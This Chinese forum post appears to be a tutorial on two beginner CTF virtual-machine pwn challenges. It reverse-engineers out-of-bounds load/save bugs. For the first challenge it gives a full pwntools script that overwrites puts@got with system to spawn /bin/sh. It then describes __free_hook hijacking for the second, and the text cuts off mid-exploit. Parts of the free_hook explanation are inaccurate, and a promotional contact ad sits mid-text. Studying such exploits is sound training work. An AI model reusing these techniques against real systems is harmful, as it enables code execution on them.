VMPWN的入门级别题目详解(一)

打印 上一主题 下一主题

主题 821|帖子 821|积分 2463

实验一 VMPWN1

题目简介

这是一道基础的VM相关题目,VMPWN的入门级别题目。前面提到VMPWN一般都是接收字节码然后对字节码进行解析,但是这道题目不接受字节码,它接收字节码的更高一级语言:汇编。程序直接接收类似”mov”、”add”之类的指令,可以把这道题目看作是一个执行汇编语言的处理器,相比于解析字节码的VM,逆向难度要大大减小。非常适合入门。
题目保护检查


只有Partial RELRO保护,这意味着可以修改程序的重定位表;没有开启PIE保护,那么程序每次加载到内存中的地址都不会发生变化。
漏洞分析

拖进IDA分析流程

程序模拟了一个虚拟机,v5,v6,v7分别是stack段,text段和data段。看到alloc_mem这个函数

Malloc一块小内存ptr,然后参数a1是要分配的内存的大小,一个单位是8字节。根据伪代码中对ptr的赋值可以构造出一个结构体,如下
  1. struct seg_chunk
  2. {
  3.  char *seg;
  4.  int size;
  5.  int nop;
  6. };
复制代码
再看到alloc_mem函数会直观很多

但是这样依然有一些难以理解,我们使用GDB打开程序进行调试,看到如下图所示


存在多个0x20大小的小堆块,堆块中的开头8字节指向下方的大堆块,第8到第12字节则是大堆块的大小的单位数量,比如0x400=0x80*0x8,单位长度为8字节,后面的0xffffffff暂时不知道作用,可能只适用于占位。因此根据gdb的显示结果,我们重新创建一个结构体,如下
  1. struct manage_chunk
  2. {
  3.  unsigned __int8 *chunk;
  4.  unsigned int unit_num;
  5.  int unknow;
  6. };
复制代码
继续看到main函数, 接着会让用户输入程序名

分配好各个段之后,然后让我们输入指令,先写到一个0x400的缓冲区中

然后再写到text段中,store_opcode函数如下

函数接受两个参数,a1为text段的指针,a2为缓冲区的指针,strtok函数原型如下:
  1. char *strtok(char *str, const char *delim)
  2. str -- 要被分解成一组小字符串的字符串。
  3. delim -- 包含分隔符的 C 字符串。
  4. 该函数返回被分解的第一个子字符串,如果没有可检索的字符串,则返回一个空指针。
复制代码
程序中的delim为\n\r\tstrtok(a2, delim)就是以\n\r\t分割a2中的字符串
由下面的if-else语句我们可以知道程序实现了push,pop,add,sub,mul,div,load,save这几个功能,每个功能都对应着一个opcode,将每一个opcode存储到函数中分配的一个临时data段中(函数执行完后这个chunk就会被free掉)
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
sub_40144E函数如下:

这个函数是用来将函数中的临时text段的指令转移到程序中的text段的,每八个字节存储一个opcode,每存储一个指令,就会对unknow进行加1的操作。我们将这个函数重名为set_value。
需要注意的是,这里存储opcode的顺序和我们输入指令的顺序是相反的(不过也没啥需要注意的,反正程序是按照我们输入的指令顺序来执行的)。
write_stack函数如下:

和store_opcode函数相比就是去掉了存储opcode的环节,将我们输入的数据存储在stack段中。
我们再看到execute函数


一个很大switch选择语句,看到sub_4014B4函数

将a1中seg内的值给到a2,unknow每次都会减一,而a1是text段的指针,所以这个函数就是从text段中取指令,将其重命名为take_value。
对于set_value函数而言,每次会将unknow加1,而对于take_value而言,每次会将unknow减1,因此我们在这里可以猜测unknow是当前的数据的数量,因此重新定义结构体
  1. struct manage_chunk
  2. {
  3.  unsigned __int8 *chunk;
  4.  unsigned int unit_num;
  5.  int num_now;
  6. };
复制代码
看到case0x11对应的函数sub_401AAC

调用了take_value函数和sub_40144E函数,sub_40144E如下

将a2放入a1的seg中,和take_value的操作相反,所以我们将其命名为set_value。整体看来就是这样子的,如下图所示

从stack中取值,然后将值存入data中,所以这里的操作我们可以理解为pop,因此我们将sub_401AAC重命名为pop。
再看到sub_401AF8函数

从data中取出两个值,然后将这两个值相加存入data中,所以我们将其重命名为add。
看到sub_401BA5函数

很明显就是减法
再看sub_401C06函数

这个函数是乘法
再看sub_401C68函数

这个函数是除法
再看到sub_401CCE函数

稍微复杂了一点点,从data中取出一个值,然后以这个值为索引,从data中取值,将取出来的值载data中。我们将这个函数命名为load。
最后看到sub_401D37函数

这里取出两个值a2和v4,以a2为索引,将v4存入a2索引找到的内存中。将其命名为save。
至此,所有的操作都已经分析完毕,那么程序的漏洞在哪? 注意看到load和save功能

索引v3是从data段中取出来的,而data段的值是由用户输入的

通过push和pop以及加减乘除等操作可以控制data段中的数据,而在load中以data段中的数据为索引时又没有对其进行限制,所以这里存在一个越界读的漏洞,即我们只需要设置好data段中的数据,在使用load功能时就可以将不属于data段中的数据读取到data段中。
除了load中的越界读漏洞,在save操作中也存在漏洞

Save功能中从data段中取出两个值,然后将其中一个值作为data段的索引,从中取出一个值addr,将从data段中取出的另一个值存入addr指向的内存当中。这里没有对这两个值进行判断,也没有对addr进行任何判断,所以我们可以将任意值写入任意地址中,这里就存在一个越界写漏洞。
所以这个程序一共存在两个漏洞:越界读和越界写漏洞。
 
静态分析完毕,开始动态分析
存在越界读写的漏洞,该怎么利用?
由于程序没有开启FULL RELRO,所以我们可以复写got表,got中会存放有已经运行过的函数的加载地址,修改某个函数的got表的值就能够修改这个函数最终调用的函数地址。在这个程序中有如下函数

在这里我们选择将puts的got表中的值修改system函数的地址,为什么?

在程序的一开始让我们输入了一个程序名,然后execute运行结束后,会调用puts函数输出程序名,当我们将puts函数的got表的值修改为system函数的地址后,puts(s)就变成了system(s),而如果我们输入的s的内容为/bin/sh,那么最终就会调用system(“/bin/sh”)。
注意到heap区上方

Heap区上方就是程序的text段,text段中存有got表,有大量的libc的地址

而程序本身没有输出功能,所以我们需要利用程序提供的功能进行写入加减运算。load和save功能都是在data段进行的,而且存在越界,它们的的参数都是data结构体的指针。

而对data段进行操作都是通过存储在data结构体中的data段指针进行操作的,只要我们修改了这个指针,data段的位置也会随之改变,所以我们可以利用save的越界写漏洞,将data段指针修改到0x404000附近(也可以直接在data段进行越界读写,毕竟越界读写的范围也没有限定,不过这样计算起来会比较麻烦)。
我们将data段指针改写为stderr下方的一段无内容处,即0x4040d0。
这个操作对应的payload为
  1. push push save
  2. 0x4040d0 -3
复制代码
调试看看
我们将断点下载push处,如下图所示

也就是地址0x00000000004019C7处
push之前

push之后

0x4040d0被push到了data段开始处,接着将-3也push到data段

然后利用save功能的越界写,将0x4040d0写入到data[-3]处


执行完这一段指令之后,data段的指针就被修改到了0x4040d0。
之后我们对data段的操作就都是以0x4040d0为基地址来操作的,我们将上方的stderr的地址(或者别的地址)load到data段,然后计算出在libc中stderr和system的相对偏移,push到data段,然后将stderr和偏移相加就能得出system的地址,接着再利用save功能,将system写入puts@got(在0x404020处)即可。
利用脚本
  1. from pwn import *
  2. context.binary = './ciscn_2019_qual_virtual'
  3. context.log_level = 'debug'
  4. io = process('./ciscn_2019_qual_virtual')
  5. elf = ELF('ciscn_2019_qual_virtual')
  6. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  7. io.recvuntil('name:\n')
  8. io.sendline('/bin/sh')
  9. data_addr = 0x4040d0
  10. offset = libc.symbols['system'] - libc.symbols['_IO_2_1_stderr_']
  11. opcode = 'push push save push load push add push save'
  12. data = [data_addr, -3, -1, offset, -21]
  13. payload = ''
  14. for i in data:
  15.    payload += str(i)+' '
  16. io.recvuntil('instruction:\n')
  17. io.sendline(opcode)
  18. #gdb.attach(io,'b *0x401cce')
  19. io.recvuntil('data:\n')
  20. io.sendline(payload)
  21. io.interactive()
复制代码
实验二 VMPWN2

实验简介

这道题难度要比前一道题稍微大一些,前一道题的输入为汇编形式的指令,而这一道题是很经典的一个VM,接收字节码,处理字节码,前一道题以接收汇编形式的指令,对于我们的逆向起到了很大的帮助,因为正常的VM逆向就是需要我们对字节码进行逆向将其还原为汇编形式的指令;所以这道题才是真正的VMPWN入门题。
题目保护检查


相比于前一题,保护开启增多,只有canary保护未开启。
漏洞分析


首先让我们输入PC和SP
PC 程序计数器,它存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令。
SP 指针寄存器,永远指向当前的栈顶。
然后让我们输入codesize,最大为0x10000字节接着依次输入code

if语句是用来限制code的值的,将其中高8位为0xFF的整数的值修改为0xE0000000,然后存储到数组memory中。 接着进入where循环,fetch函数如下

这里使用到了reg[15],存储着PC的值,我们看一看这个程序使用的一些数据

每次将PC的值增加1,依次读取memory中的code
再看到execute函数
由于execute函数较长,所以我们不一次性放出,分段进行分析


Execute的参数是一个4字节的opcode
v4 = (code & 0xF0000u) >> 16将会取第三个字节的数值。
v3 = (unsigned __int16)(code & 0xF00) >> 8将会取第二个字节的数值,并且这个数只是1位16进制数。
v2 = code & 0xF将会取最末尾一字节。
result = HIBYTE(code),将code的最高一字节给result,最高一字节用于指定对应的操作码。如果最高字节为0x70,那么执行加法操作,reg[v4] = reg[v2] + reg[v3]。
继续往下看



总结如下:
操作码为0x10,将一个1字节的常量存入reg[v4];
操作码为0x20,判断code的最低字节是否为0,并将reg[v4]设置为结果;
操作码为0x30,以reg[v2]为索引,将memory[reg[v2]送入reg[v4];
操作码为0x40,将reg[v4]送入memory[reg[v2];
操作码为0x50,执行push操作,将reg[v4]压入栈中,reg[13]是可以理解为rsp寄存器;
操作码为0x60,执行pop操作,将栈顶的值弹出到reg[v4]中;
操作码为0x70,执行加法操作,reg[v4] = reg[v2] + reg[v3];
操作码为0x80,执行减法操作,reg[v4] = reg[v3] - reg[v2];
操作码为0x90,执行按位与操作,reg[v4] = reg[v2] & reg[v3];
操作码为0xa0,执行按位或操作,reg[v4] = reg[v2] | reg[v3];
操作码为0xb0,执行异或操作,reg[v4] = reg[v2] ^ reg[v3];
操作码为0xc0,执行左移操作,reg[v4] = reg[v3] > reg[v2];
操作码为0xe0,如果栈中已经没有值了,那就退出,在退出的时候会打印出所有寄存器的值。
以上就是这个VM实现的所有操作,可以看出基本实现了CPU的基本功能。
 
程序逻辑理清楚了,该思考怎么利用了。
操作码为0x30和0x40时,分别实现了load和save功能,在将内存中的值读入寄存器中时以及将寄存器中的值写入内存中是并未对边界以及要读取或写入的值有所限制,因此在这里依然存在越界读和越界写漏洞。
 
这道题开启了FULL RELRO保护,这样一来got表就不可写了,我们就不能够通过上一题的方式修改got表来劫持函数。
在程序的结尾调用了sendcomment函数,函数实现如下


调用free函数将comment这个堆块释放掉。
在这里我们需要提及到free_hook这个钩子函数
什么是free_hook?
在GNU C库(glibc)中,free_hook是一个全局变量,用于实现动态内存分配和释放的钩子函数。当程序使用malloc()、calloc()、realloc()等函数进行内存分配时,会调用free_hook函数来进行内存释放的操作。
通过定义自己的free_hook函数,可以在内存分配和释放时进行额外的处理操作,例如记录内存分配和释放的情况、检测内存泄漏等。
在glibc中,可以通过设置free_hook变量来实现自定义的内存释放操作。例如,可以使用以下代码来设置free_hook变量:
  1. void my_free_hook(void *ptr, const void *caller) {
  2.    printf("Freeing memory at %p, called by %p\n", ptr, caller);
  3.    __free_hook = old_free_hook;
  4.    free(ptr);
  5.    __free_hook = my_free_hook;
  6. }
  7. void *old_free_hook = NULL;
  8. int main() {
  9.    old_free_hook = __free_hook;
  10.    __free_hook = my_free_hook;
  11.    __free_hook = old_free_hook;
  12.    return 0;
复制代码
在这段代码中,定义了一个自定义的my_free_hook函数来实现内存释放的操作。在main()函数中,先保存原来的free_hook变量,然后设置自定义的my_free_hook函数为新的free_hook变量。在程序运行时,即可使用自定义的my_free_hook函数来进行内存释放的操作。
需要注意的是,自定义的free_hook函数必须遵守内存分配和释放的规范,正确地分配和释放内存,避免内存泄漏和内存溢出等问题。
 
也就是说,在调用free函数之后,首先会检查free_hook是否被设置了钩子函数,如果free_hook被设置了钩子函数,那么首先会调用钩子函数,然后才会调用真正的free函数,而这个钩子函数的参数,和free函数的参数是一样的,也就是要释放的堆块的指针。
如果我们将free_hook设置为system函数的地址,将要释放的堆块的开头设置为/bin/sh,那么在调用free的时候就会先调用system(“/bin/sh”)。
首先我们需要泄露libc地址,bss段上方一段距离就是got表,我们通过越界读将got表中的libc地址读取到寄存器中,这里需要注意的是,由于寄存器是双字,也就是四字节的,而地址是八字节的,所以我们需要两个寄存器才能存储一个地址。

got表中最后一个是stderr,不过我们不选它来泄露,因为stderr地址的最后两位是00。

在这里我们选择stdin来泄露,因为后续我们需要通过stdin的地址来计算得到__free_hook-8,因此尽量选择与free_hook地址相差较小的来泄露,能够减小计算量。
有了泄露目标之后,就该来计算索引了(reg[v4] = memory[reg[v2]])。memory的地址是0x202060,stdin@got的地址为0x201f80,memory也是双字类型,于是有n=(0x202060-0x201f80)/4=56,索引就是-56。
该如何构造出-56,可以通过在内存中负数的存储方式来构造,0xffffffc8在内存中就表示-56,通过-56读取stdin地址的后四字节,通过-55读取前四个字节。如何得到0xffffffc8,可以通过ff左移位和加法运算得到,构造步骤如下:
[code]setnum(0,8), #reg[0]=8setnum(1,0xff), #reg[1]=0xffsetnum(2,0xff), #reg[2]=0xffleft_shift(2,2,0), #reg[2]=reg[2]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

写过一篇

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表